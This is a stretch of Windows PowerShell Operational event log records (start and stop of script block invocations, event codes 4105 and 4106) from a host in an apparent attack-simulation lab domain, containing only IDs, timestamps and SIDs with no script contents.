Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025205
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025204
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025203
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025202
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025182
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025181
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025176
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025175
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
